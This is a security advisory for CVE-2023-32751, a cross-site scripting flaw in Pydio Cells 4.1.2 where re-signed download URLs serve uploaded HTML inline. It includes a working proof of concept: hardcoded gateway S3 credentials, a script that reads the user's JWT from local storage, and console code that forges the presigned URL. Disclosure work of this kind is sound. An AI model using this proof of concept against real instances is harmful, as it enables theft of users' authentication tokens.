Exploit Title: Pydio Cells 4.1.2 - Cross-Site Scripting (XSS) via File Download
Affected Versions: 4.1.2 and earlier versions
Fixed Versions: 4.2.0, 4.1.3, 3.0.12
Vulnerability Type: Cross-Site Scripting
Security Risk: high
Vendor URL: https://pydio.com/
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2023-004
Advisory Status: published
CVE: CVE-2023-32751
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32751


Introduction
============

"Pydio Cells is an open-core, self-hosted Document Sharing and
Collaboration platform (DSC) specifically designed for organizations
that need advanced document sharing and collaboration without security
trade-offs or compliance issues."

(from the vendor's homepage)


More Details
============

When a file named "xss.html" is downloaded in the Pydio Cells web application, a
download URL similar to the following is generated:

https://example.com/io/xss/xss.html
  ?AWSAccessKeyId=gateway
  &Expires=1682495748
  &Signature=920JV0Zy%2BrNYXjak7xksAxRpRp8%3D
  &response-content-disposition=attachment%3B%20filename%3Dxss.html
  &pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J[...]

The URL is akin to a presigned URL as used by the Amazon S3 service. It
contains the URL parameter "response-content-disposition" which is set
to "attachment" causing the response to contain a "Content-Disposition"
header with that value. Therefore, the browser downloads the file
instead of interpreting it. The URL also contains a signature and expiry
timestamp, which are checked by the backend. Unlike a presigned URL as used
by S3, the URL also contains the parameter "pydio_jwt" with the JWT of
the user for authentication. Furthermore, the access key with the ID
"gateway" is referenced, which can be found in the JavaScript sources of
Pydio Cells together with the secret:

------------------------------------------------------------------------
_awsSdk.default.config.update({
  accessKeyId: 'gateway',
  secretAccessKey: 'gatewaysecret',
  s3ForcePathStyle: !0,
  httpOptions: {
    timeout: PydioApi.getMultipartUploadTimeout()
  }
});
------------------------------------------------------------------------

With this information it is possible to change the URL parameter
"response-content-disposition" to the value "inline" and then calculate
a valid signature for the resulting URL. Furthermore, the content type of
the response can be changed to "text/html" by also adding the URL
parameter "response-content-type" with that value. This would result in
a URL like the following for the previously shown example URL:

https://example.com/io/xss/xss.html?
  AWSAccessKeyId=gateway
  &Expires=1682495668
  &Signature=HpKue0YQZrnp%2B665Jf1t7ONgfRg%3D
  &response-content-disposition=inline
  &response-content-type=text%2Fhtml
  &pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J[...]

Upon opening the URL in a browser, the HTML included in the file is
interpreted and any JavaScript code is run.

Proof of Concept
================

Upload a HTML file into an arbitrary location of a Pydio Cells instance.
For example with the following contents:

------------------------------------------------------------------------
<html>
  <body>
    <h1>Cross-Site Scriping</h1>
    <script>
      let token = JSON.parse(localStorage.token4).AccessToken;
      alert(token);
    </script>
  </body>
</html>
------------------------------------------------------------------------

The contained JavaScript code reads the JWT access token for Pydio Cells
from the browser's local storage object and opens a message box. Instead
of just displaying the JWT, it could also be sent to an attacker. The
following JavaScript function can then be run within the browser's
developer console to generate a presigned URL for the HTML file:

------------------------------------------------------------------------
async function getPresignedURL(path) {
  let client = PydioApi.getClient();
  let node = new AjxpNode(path);
  let metadata = {Bucket: "io", ResponseContentDisposition: "inline", Key: path, ResponseContentType: "text/html"};
  let url = await client.buildPresignedGetUrl(node, null, "text/html", metadata);

  return url;
}

await getPresignedURL("xss/xss.html");
------------------------------------------------------------------------

The code has to be run in context of Pydio Cells while being logged in.
If the resulting URL is opened in a browser, the JavaScript code
contained in the HTML file is run. If the attack is conducted in the
described way, the JWT of the attacker is exposed through the URL.
However, this can be circumvented by first generating a public URL
for the file and then constructing the presigned URL based on the
resulting download URL.


Workaround
==========

No workaround known.


Fix
===

Upgrade Pydio Cells to a version without the vulnerability.


Security Risk
=============

Attackers that can upload files to a Pydio Cells instance can construct
URLs that execute arbitrary JavaScript code in context of Pydio Cells
upon opening. This could for example be used to steal the authentication
tokens of users opening the URL. It is likely that such an attack
succeeds, since sharing URLs to files hosted using Pydio Cells is a
common use case of the application. Therefore, the vulnerability is
estimated to pose a high risk.


Timeline
========

2023-03-23 Vulnerability identified
2023-05-02 Customer approved disclosure to vendor
2023-05-02 Vendor notified
2023-05-03 CVE ID requested
2023-05-08 Vendor released fixed version
2023-05-14 CVE ID assigned
2023-05-16 Vendor asks for a few more days before the advisory is released
2023-05-30 Advisory released


References
==========

[1] https://aws.amazon.com/sdk-for-javascript/


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